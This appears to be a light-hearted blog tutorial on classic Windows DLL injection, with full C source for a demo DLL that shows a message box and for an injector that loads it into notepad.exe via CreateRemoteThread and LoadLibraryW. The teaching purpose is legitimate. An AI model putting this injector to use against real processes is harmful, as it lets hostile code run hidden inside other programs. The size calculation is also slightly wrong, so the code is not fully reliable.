Season Passes?
Hello comrade, welcome back! 🪖
This is a continuation of Basic Process Injection, because we’re going to use the same program but with a little twisty-twist: DLL injection.
Explanation (DLL injection WHAT???)
I briefly mentioned it here.
A DLL is basically a collection of data and functions that an application can call and use.
Think of it like a Python pip
module — you can import it anywhere.
NUKE
For the nuke we’re about to build, we only need two things:
- A malicious, ultra-dangerous
DLL
. - A humble
program.exe
(our injector) that loads and executes it.
Surprising, I know.
Here’s a high-level look at what we’re building:
As always, we’ll start by creating a function to enumerate running processes.
Then, just like in the previous post, we’ll snag a handle to our target process - let’s say notepad.exe
.
Next, we allocate memory inside the target process and set the right permissions.
Meanwhile, inside our injector, we get the module handle of kernel32.dll
and find the address of LoadLibraryW
.
Finally, we call CreateRemoteThread
to make the target process run LoadLibraryW
and load our malicious DLL.
DLL Injection — diagram
BOOM! 💥
Free DLC
Alright, before we dive into how the heck do we even build a DLL?
Let’s understand what a DLL looks like at the code level.
Lucky for us, Microsoft already dropped the holy grail of documentation on the DllMain
entry point.
DllMain entry point
They’re also kind enough to explain what each fdwReason
means:
DllMain fdwReason table
I know that’s a lot of words. Honestly, sometimes I can’t stand them either.
But here’s the good news. We only really need to care about DLL_PROCESS_ATTACH
.
Why DLL_PROCESS_ATTACH
, you might ask? 🤔
Because that’s exactly when the DLL gets loaded into a process either when the process starts, or when we explicitly load it with LoadLibrary.
Creating the DLL
Alright, let’s build this thing.
For our “tool,” we’ll use Visual Studio, assuming you’re all cool people using VS. 😎
As always, create an empty project, then right-click on it and go to Properties
.
Visual Studio — properties
When the new window pops up, change the Configuration Type
to Dynamic Library (.dll)
.
Then just click OK. Obviously.
Configuration type — DLL
Now, let’s create our sweet, precious DLL 🤤.
What’s this DLL going to do? Super simple, it just spawns a message box with a cheeky message.
That’s it.
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hModule, DWORD dReason, LPVOID lpvReserved){ switch (dReason) { case DLL_PROCESS_ATTACH: MessageBoxW(NULL, L"WEE WOO WEE WOO", L"LOL TITLE", MB_OK); break;
case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;}
Want to test your shiny new DLL? You can run it with rundll32.exe
like so:
rundll32.exe .\weewoopDLL.dll, DllMain
Enumerate Processes
For enumerating processes, we’ll create a function that’s super straightforward.
How straightforward? Just copy the EnumerateProcess()
function from the previous post.
Yes! It will enumerate processes until it finds our target.
HANDLE EnumerateProcess(LPCWSTR processName) { HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) { printf("[ERR] invalid process snapshots. [code]-> %ld\n", GetLastError()); return NULL; }
PROCESSENTRY32 pe; pe.dwSize = sizeof(pe);
if (!Process32First(hSnapshot, &pe)) { printf("[ERR] could not enumerate processes. [code]-> %ld\n", GetLastError()); return NULL; }
do { if (_wcsicmp(pe.szExeFile, processName) == 0) { DWORD PID = pe.th32ProcessID; printf("[INF] trying to open handle on [program]-> %ls, on [pid]-> %d\n", processName, PID);
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe.th32ProcessID); if (hProcess == NULL) { printf("[ERR] could not open handle on [pid]-> %d, continuing...\n", PID); } else { printf("[INF] successfully got handle on [pid]-> %d\n", PID); CloseHandle(hSnapshot); return hProcess; } } } while (Process32Next(hSnapshot, &pe));
CloseHandle(hSnapshot); return NULL;}
This function just loops through all processes until it finds the one we want. Also, it takes processName
as an argument.
LoadLibrary DLL
Welcome to the new stuff, comrade! Scary, I know. (Me too. 🥲)
So, to load a DLL we need to call LoadLibraryW
. Correct! But how?
We can’t directly “code into” the target process.
Recall
When a program runs, it spins up its own process.
If we call LoadLibraryW
directly, it’ll load the DLL into our injector process, not the target (notepad.exe
).
So ladies and gentlemen, we can find the address of LoadLibraryW
inside our own process (injector
) by asking kernel32.dll
.
That means we’re going to load it dynamically.
How?
We grab LoadLibraryW
’s address from kernel32.dll
.
If you peek at Kernel32.dll, you’ll see it indeed has LoadLibraryW
. Great!
Next, we get a handle to kernel32.dll
with GetModuleHandle, then use GetProcAddress to fetch LoadLibraryW
.
HMODULE hKernel32 = GetModuleHandle(L"kernel32.dll");FARPROC hLoadLibrary = GetProcAddress(hKernel32, "LoadLibraryW");
if (hLoadLibrary == NULL) { printf("[ERR] unable to get LoadLibraryW address. [code]-> %ld\n", GetLastError()); return FALSE;}printf("[INF] LoadLibraryW was found at [address]-> %p\n", hLoadLibrary);
Why does this work?
Because Windows loads core DLLs like kernel32.dll
at the same base address across processes, so we can pass that pointer straight into CreateRemoteThread
.
It goes like this:
1. In Program.exe (injector): - GetModuleHandle("kernel32.dll") → returns 0x7C800000 (example) - GetProcAddress(handle, "LoadLibraryW") → returns 0x7C801234 (example)
2. In Notepad.exe (target): - kernel32.dll is ALSO loaded at 0x7C800000 - LoadLibraryW is ALSO at 0x7C801234
3. CreateRemoteThread() runs a thread in notepad.exe starting at 0x7C801234 - Which is literally LoadLibraryW inside notepad.exe
Allocate Memory in the Remote Process
Next, we allocate memory in the target process using VirtualAllocEx.
This is basically the same as before, just with a slight change - we’ll use PAGE_READWRITE
instead of PAGE_EXECUTE_READWRITE
.
printf("[INF] allocating [memory]-> %lld bytes\n", szdllPath);LPVOID pBuff = VirtualAllocEx(hProcess, NULL, szdllPath, (MEM_COMMIT | MEM_RESERVE), PAGE_READWRITE);
if (pBuff == NULL) { printf("[ERR] could not allocate memory. [code]-> %ld\n", GetLastError()); return FALSE;}printf("[INF] successfully allocated at [address]-> %p\n", pBuff);
Writing Payload into Allocated Memory
So far, we’ve only allocated memory. Now let’s actually write our beautiful poem into that reserved space. We’ll use WriteProcessMemory.
SIZE_T szWrittenBytes = NULL;
if (WriteProcessMemory(hProcess, pBuff, dllPath, szdllPath, &szWrittenBytes) == 0) { printf("[ERR] could not write to memory. [code]-> %ld\n", GetLastError()); return FALSE;}printf("[INF] successfully written payload to memory\n");
Executing the Payload
AH YES, comrade! Welcome to the last step. Feels like déjà vu, right?
To execute our sweet malicious DLL, we create a new thread inside the target process using CreateRemoteThread. We pass hLoadLibrary
as the lpStartAddress
and pBuff
(our DLL path) as the lpParameter
.
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)hLoadLibrary, pBuff, NULL, NULL);
if (hThread == NULL) { printf("[ERR] could not create new thread. [code]-> %ld\n", GetLastError()); return FALSE;}printf("[INF] successfully created a thread.\n");
And just like that! ROCK AND ROLL, BABEHHH!! 🎸
Main Functions
As always, let’s put all the puzzle pieces together. We’ll have two
main functions:
EnumerateProcess(LPCWSTR processName)
to get a handle to the target process.InjectDLL(hProcess, dllPath)
to actually perform the injection.
#include <windows.h>#include <iostream>#include <tlhelp32.h>
HANDLE EnumerateProcess(LPCWSTR processName) { HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) { printf("[ERR] invalid process snapshots. [code]-> %ld\n", GetLastError()); return NULL; }
PROCESSENTRY32 pe; pe.dwSize = sizeof(pe);
if (!Process32First(hSnapshot, &pe)) { printf("[ERR] could not enumerate processes. [code]-> %ld\n", GetLastError()); return NULL; }
do { if (_wcsicmp(pe.szExeFile, processName) == 0) { DWORD PID = pe.th32ProcessID; printf("[INF] trying to open handle on [program]-> %ls, on [pid]-> %d\n", processName, PID);
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe.th32ProcessID); if (hProcess == NULL) { printf("[ERR] could not open handle on [pid]-> %d, continuing...\n", PID); } else { printf("[INF] successfully got handle on [pid]-> %d\n", PID); CloseHandle(hSnapshot); return hProcess; } } } while (Process32Next(hSnapshot, &pe));
CloseHandle(hSnapshot); return NULL;}
BOOL InjectDLL(HANDLE hProcess, wchar_t dllPath[MAX_PATH]) { HMODULE hKernel32 = GetModuleHandle(L"kernel32.dll"); FARPROC hLoadLibrary = GetProcAddress(hKernel32, "LoadLibraryW");
if (hLoadLibrary == NULL) { printf("[ERR] unable to get LoadLibraryW address. [code]-> %ld\n", GetLastError()); return FALSE; } printf("[INF] LoadLibraryW was found at [address]-> %p\n", hLoadLibrary);
SIZE_T szdllPath = (wcslen(dllPath) + 1) * sizeof(dllPath);
printf("[INF] allocating [memory]-> %lld bytes\n", szdllPath); LPVOID pBuff = VirtualAllocEx(hProcess, NULL, szdllPath, (MEM_COMMIT | MEM_RESERVE), PAGE_READWRITE);
if (pBuff == NULL) { printf("[ERR] could not allocate memory. [code]-> %ld\n", GetLastError()); return FALSE; } printf("[INF] successfully allocated at [address]-> %p\n", pBuff);
SIZE_T szWrittenBytes = NULL;
if (WriteProcessMemory(hProcess, pBuff, dllPath, szdllPath, &szWrittenBytes) == 0) { printf("[ERR] could not write to memory. [code]-> %ld\n", GetLastError()); return FALSE; } printf("[INF] successfully written payload to memory\n");
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)hLoadLibrary, pBuff, NULL, NULL);
if (hThread == NULL) { printf("[ERR] could not create new thread. [code]-> %ld\n", GetLastError()); return FALSE; } printf("[INF] successfully created a thread.\n");
return TRUE;}
int main(int argc, char* argv[]) { LPCWSTR processName = L"notepad.exe"; wchar_t dllPath[MAX_PATH] = L"C:\\Users\\user\\Desktop\\weewoopDLL.dll";
HANDLE hProcess = EnumerateProcess(processName); InjectDLL(hProcess, dllPath);
return EXIT_FAILURE;}
DLL sheesh
Now run your program. If everything works, you’ll see the MessageBox
pop up… meaning our DLL was successfully injected and executed. 🎯
DLL injection in action
Well comrades, you did really good today. As a reward, here are your bullets: